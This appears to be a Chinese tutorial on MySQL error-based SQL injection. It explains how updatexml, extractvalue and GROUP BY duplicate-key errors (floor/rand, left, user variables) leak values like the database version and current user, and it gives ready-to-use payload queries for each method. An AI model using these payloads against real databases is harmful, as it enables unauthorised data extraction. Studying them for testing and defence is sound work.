一,updatexml函数
函数简介
UpdateXML(xml_target, xpath_expr, new_xml)
- xml_target xml文档片段
- xpath_expr 匹配修改内容的Xpath表达式
- new_xml 新的xml片段
该函数将XML标记xml_target的给定片段的单个部分替换为新的XML片段new_xml,然后返回更改后的XML。被替换的xml_target部分与用户提供的XPath表达式xpath_expr匹配。
说白了,就是用来修改xml文档的内容
报错原理
因为xpath_expr参数必须是遵守Xpath语法的Xpath表达式,当该参数的值不满足Xpath语法时就会触发错误。
例如:
select updatexml(1,(select @@version),1);
可以看到数据库返回了错误信息,其中包含具体的参数值。但是这里的并不是我们想要的完整值。因为值的前一部分满足了Xpath语法,错误信息只返回了不满足语法而触发错误的部分。
因此updatexml函数常常结合concat函数一起使用,在参数值前拼接一个不满足Xpath语法的字符来获取完整数据。
例如:
select updatexml(1,(concat(0x7c,(select @@version))),1);
二,extractvalue函数
函数简介
ExtractValue(xml_frag, xpath_expr)
- xml_frag xml文档片段
- xpath_expr 匹配提取目标的Xpath表达式
ExtractValue()接受两个字符串参数,一个XML标记xml_frag片段和一个XPath表达式xpath_expr(也称为定位器);它返回第一个文本节点的文本(CDATA),该文本节点是元素或与XPath表达式匹配的元素的子元素。
根据xpath_expr提供的表达式在xml_frag中匹配对应的节点并返回其元素或子元素。(从xml文档提取数据)
报错原理
与updatexml一样xpath_expr参数的值需要满足Xpath语法。
例如:
select extractvalue(1,concat(0x7c,(select user())));
三,GROUP BY重复键冲突
原理
参考:https://www.cnblogs.com/richardlee97/p/10617115.html
https://www.cnblogs.com/wangtanzhi/p/12577891.html#autoid-1-8-0
floor函数触发错误
select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a;
left函数触发错误
select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a
注:添加‘^’是为了区分函数产生的随机值和返回的数据
还有类似left或floor也能触发,比如round这里不再列举
不依赖具体的表
select concat('',user(),'',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;
注:此方法有概率不会触发错误,请多次尝试
不使用rand() count()函数
select min(@a:=1) from information_schema.tables group by concat('',user(),'',@a:=(@a+1)%2);
不依赖额外的函数和具体的表
select min(@a:=1) from (select 1 union select null union select !1)a group by concat('',user(),'',@a:=(@a+1)%2);